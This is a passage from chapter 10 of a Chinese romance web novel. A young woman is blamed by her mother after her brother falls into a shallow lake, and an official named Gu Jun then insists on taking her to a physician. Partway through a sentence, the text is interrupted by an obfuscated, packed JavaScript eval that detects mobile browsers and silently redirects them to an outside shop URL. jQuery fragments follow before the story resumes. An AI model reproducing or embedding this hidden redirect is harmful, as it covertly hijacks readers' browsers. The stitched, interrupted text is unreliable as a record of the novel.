10. 第 10 章
    未名湖是这京城中的内湖,修建的初衷也是防止夏季城中内涝用来引水的作用,是以堤案筑的并不高,尤其近水的地方都是低缓的斜坡,轻易不会发生溺水。

    但姐弟二人却不知晓,满心的关注都在天上的纸鸢,夏琳琅也被憋闷了许久,这会看着纸鸢上天,心里说不出的畅快高兴,一个劲的让夏奕放线,再飞高点。

    线越放越高,两人也就跟着后退,顾前不顾后的,一个不察,夏奕后脚踩空,夏琳琅尚还未反应过来时,身边人就已经在水里扑腾上了。

    “夏奕!”

    夏琳琅眼看着人落入水里,心下也不免惊慌一瞬,下意识喊了一声夏奕的名字后,就没加思索的跟着往下跳。

    关心则乱,等到夏琳琅跳下去水后才发现,那湖水并不深,只到了自己小腿往上一点,夏奕的扑腾也是因为他半空骤然坠下,没有任何设防才会如此。

    顿时就有些哭笑不得,夏琳琅拎着裙角淌水过去,一把抓住还在水里‘扑腾’的夏奕,拽着手腕就将人拉了起来。

    “行了,就这点水,还没你平日里沐浴时的水深呢。”

    话虽如此说,但夏奕却是实打实的被吓到,半大不小的少年郎,这会半挂在夏琳琅身上喘着粗气,直到听到他长姐的话,又看了眼脚下,才觉得自己这会落到了实处。

    “长姐,我,我…”

    “想说什么?哦,表哥才不会被像你似的这么浅的水吓到。”

    没去看夏奕发红的脸,夏琳琅半扶着人就往岸上去,嘴里说着揶揄人的玩笑话。

    “长姐!”不是气急败坏,也不是恼羞成怒,就是一种被家里亲姐姐打趣,没有责怪,没有谩骂,感觉反而有些亲切?

    夏琳琅抿着唇偷笑,见他已经恢复成了往常的神色:“好好好,我闭嘴,这儿都是水,先上去再说。”

    夏奕这会恢复了不少,能自己立住,心里也觉得是因为自己的缘由害得夏琳琅也落了水,歉疚感又在心里渐升,看了眼脚下碧绿的湖水,他推着夏琳琅的手肘:

    “长姐,你先上去。”反正他浑身都湿透了,多站会也无事,但夏琳琅好歹只湿了脚踝,先上去就能少泡一会水。

    夏琳琅看了他一眼,也没客气,扶着他的手,先上了岸,脚下的裙摆这会吸满了水,重重的要往下坠,她甚至没顾及要去拧水,随即转身伸手,就要将人拉起来。

    然,手还没伸到夏奕跟前,就被人从一旁狠狠地推搡了一下,重重的撞到了身侧的柳树上。

    “才一会的功夫,怎么就弄成这样?”

    “我让你一道出来是帮我看着他的,你怎能让他掉到水里去!”

    即便日头已经落下不少,但湖畔上的人还是寥寥无几,原本在画舫里小憩的骆氏听到动静后也焦急匆忙的跑过来,不问缘由,不分青红皂白的对着夏琳琅就是一顿劈头盖脸的指责。

    手臂迭然撞在粗糙的树干上,力道还不小,夏琳琅轻嘶了声,还没来得及去看,骆氏就已将水里的夏奕拽了上来,满眼急切的打量着周身。

    方才夏奕先于她落水,又在水里扑腾了那么几下,浑身早就湿透,相比之下,她只是打湿了脚踝和裙摆,肉眼看上去,要比夏奕好上不是一点半点。

    “母亲…”她殷切的唤了一声,欲解释。

    骆氏听都没听,兀自打量完后,一个狠厉的眼神就看了过来,说的话也伤人:

    “你闭嘴!”

    “阿奕后日还要回书院去读书,要是受了寒可怎么办,我这会要先带他回去,你且去告诉船夫,画舫我们今日是不用了,多少银钱你也结给人家。”

    说完,也不管她答不答应,拽着身边的夏奕就往马车的方向走,她用的力气大,夏奕挣扎不开,边扭头,还边试图说服:

    “母亲,这事不怪长姐,是我要让她陪我放纸鸢的。”

    “就陪你放个纸鸢都能让你掉水里的话,那看来她真是一点用都没了。”冷冰冰的话真是没有感情可言。

    “母亲,母亲…”

    说话声越来越远,夏奕还想继续辩驳,但奈何扭转不过,没一会,母子俩就不见了人,只留下地上的一滩水痕,像划拉在夏琳琅心口上的一柄薄刀。

    整个过程前后也不到半炷香,看了眼湖畔边的画舫,夏琳琅有些自嘲的扯了扯嘴角,挪了挪脚后,这才感觉到绣鞋里面灌满了水,湿哒哒的有些难受,而贴在脚踝上湿透得裙角也在滴答的往地上淌水,颇有些狼狈。

    她看了半晌,最终还是无奈的叹了口气,心里宽慰着自己,‘既来之,则安之’,再等等,或许等他们彻底觉得自己无用后,就是回江南的好时候了。

    夏琳琅抬手揉了揉被撞伤的右臂,刚准备迈步去往画舫的时候,就听身后有人在唤自己:

    “夏姑娘!”

    她皱眉,回头就看到是顾筠和李循站在身后,心下一紧,有些话就这么脱口而出了:

    “两位大人怎会在此?”

    李循一如既往健谈,面上没有半点不妥,笑着说:“自然是来游湖泛舟啊,难道姑娘不是?”

    “那,你们,方才…有没有…”

    她这话说的欲言又止,李循还在等她说完,就听一旁的顾筠先开口打断她:

    “没有,我们什么也没听到。”

    听着这熟悉的话,再看顾筠那一副无所谓的神情,夏琳琅一颗悬着的心算是彻底死了,刚刚发生的事定是被他们看到和听到了,倒不是觉得难为情,只是这种场景下不知该怎么去接下面的话,就这样无意识搓着手臂,眼神往一边偏去。

    谁也没再继续提,只她当下的行为看来,逃避意味十足。

    顾筠从方才起就一直看着她,太阳已快要西斜日暮,橙子般的橘色打在姑娘身上,半个身子都泛着光晕,身后的青丝因为方才一番动作变的微乱,顾筠眼眸往右偏了偏,唇角若有若无的勾起一丝浅浅的弧度。

    不确定他有没有看错,姑娘那隐在乱发下的右耳,又有些微微发红。

    夏琳琅被他看得有些不自在,伸手别了别耳边的碎发,抬起手腕的时候,衣袖就往下落了半寸,顾筠的视线也就直直落在她白皙的手背上。

    眉头瞬间轻拧:“还有别处受了伤?”

    夏琳琅没听大听明白他的话,先是‘嗯’了一声,又顺着他的眼光看去,抬手一撇,哦了声解释:

    “不是方才,是之前花朝的时候,在青云观里不小心蹭的。”

    提起青云观,两人都有些心照不宣,话落之后也都没在做声,倒是李循,没什么顾忌,反而关心起了她的伤势来:

    “姑娘这伤看起来也没完全痊愈,这会浸了水,都发红了。”

    那伤口之前已经结痂了,哪知方才和夏奕在水里挣扎那两下被蹭掉,这会伤口泡了水看起来就比想象中严重。

    顾筠听着话,抬眼看过去,姑娘是真生的白,露出来的一截手腕骨都像凝脂白玉似的,日光照不到的背阴处,白的有些晃眼,而那条伤痕就这样突兀的挂在手背上,显眼的很,他看了半瞬,吸了口气吐出来,才听她说。

    “不碍事的,我这会就回去换个药,明儿就好了。”

    说完,就欲向两人行礼告辞,顾筠看着那被她遮住的手腕骨,没多想,脱口道:

    “跟我走。”

    “嗯?”

    不仅是夏琳琅,李循也是一脸惊讶的表情看着他,似是不敢相信这话出自他口。

    哪知说话

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205788|150935||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    本人压根未觉得哪里不妥,说出的话也确实冠冕堂皇:

    “马车就在外面,我送你去医馆。”

    “可…”

    只要这人在城里出现,哪哪儿都是被瞩目的存在,夏琳琅打心底就不愿同他一起,下意识拒绝,但唇才刚启,就被人拿话堵在了嗓眼儿。

    顾筠拿眼睨她,寡淡的心无旁骛,看起来没有半点别的心思:

    “还是说,姑娘打算穿着这身湿淋淋的衣裳,一个人走回去?”

    闻言,夏琳琅有些认命的别别嘴,方才骆氏已经将马车遣走,这里离城中还有些距离,一时半会也寻不到车,这真正如他顾筠说的,想要回去,真要靠她用走的。

    她咬着唇,看了跟前的两人一眼,虽说和顾筠同处一车,她自觉有些别扭,但想到还有李循一起,倒也不是不能克服一下。

    “你去画舫,替她将银钱结了。”

    顾筠迭然开口将人支开,夏琳琅自当以为李循会拒绝,却不想对方一听,眼神来回,最后兴味的同意:“成!”

    …

    夏琳琅委实没想到是这样的结果,虽心下不愿,但为了能早些离开,也不得不妥协,就这样慢吞吞的跟在顾筠身后。

    李循这会已经走去画舫那处,两人一道就往马车的地方去,顾筠走了两步便停下,偏头看向她,挑着眉一副问询的模样。

    夏琳琅掌心捏了捏,心里也在思忖他此刻的所作所为,顾筠上下打量了她一番,才说:

    “先把裙子上的水拧干,再上车。”

    说完,他便去了车的另一处,是刻意在回避。

    夏琳琅见此,看了眼已经脏污的不成样的裙子,面色微微发红,却也没耽误手上的动作,弯腰伸手就挽起了湿淋淋的裙摆。

    当脏污的水渍淌在车辙下时,夏琳琅也适时的唤了一声:

    “顾大人,我好了。”

    而站在另一头的那人也没有现身,听到声音后也只回答了一声浅浅的‘嗯’。

    “你先上车。”

    虽说闹不懂他的用意,但奈何拿人手短,又要借用人家的马车,夏琳琅也只好听从,拎着已经没那么重的裙角,轻轻垫脚,就先上了马车。

    她有自知之明和分寸,挑了个离车门很近的位置,也离里座最远,而顾筠却没有跟上来,隔着车帘在外面唤她的名字,她下意识应了一声。

    “你把鞋袜脱下,然后拿出来。”

    “可这,这不合规矩!”没料到这顾筠发言,是一句比一句荒唐,她想也没想就直接拒绝,声音还不小。

    夏琳琅也是被他这话惊到,揣测这人到底是在想什么,车外的人忽然轻笑一声:

    “方才上车的时候,怎没听你说不合规矩?”

    “那,那大人究竟是要做什么?”她还在做最后的坚持。

    “湿衣服穿在身上久了,也不得怕风寒?”

    原来,不是怕她弄脏马车,而是担心湿掉的鞋袜和裙子穿在身上不舒服,甚至为了避嫌,先让她上车脱掉鞋子后再遮住脚踝,她险些就以小人之心度君子之腹了、

    耳尖又有些微微发烫,夏琳琅犹豫不决,磨磨蹭蹭。

    “姑娘要是在晚些,城里的医馆就怕要关门了。”

    话才刚落,就见遮的严严实实的车帘里头窸窸窣窣的有了动静,深色的帘子接着被一双绣鞋顶开,瞧着湿漉漉的,上面还还沾着尘土,就像她的主人,内心挣扎了一番,最后还是灰溜溜的向现实妥协。

    诚然,夏琳琅即便这会听从他的话,但心下也禁不住要腹诽两句,真真是应了那句话,人狠话不多,明明是对人施以善意,也偏偏要用这样的方式。

    不把话一次说清楚,徒让人误会。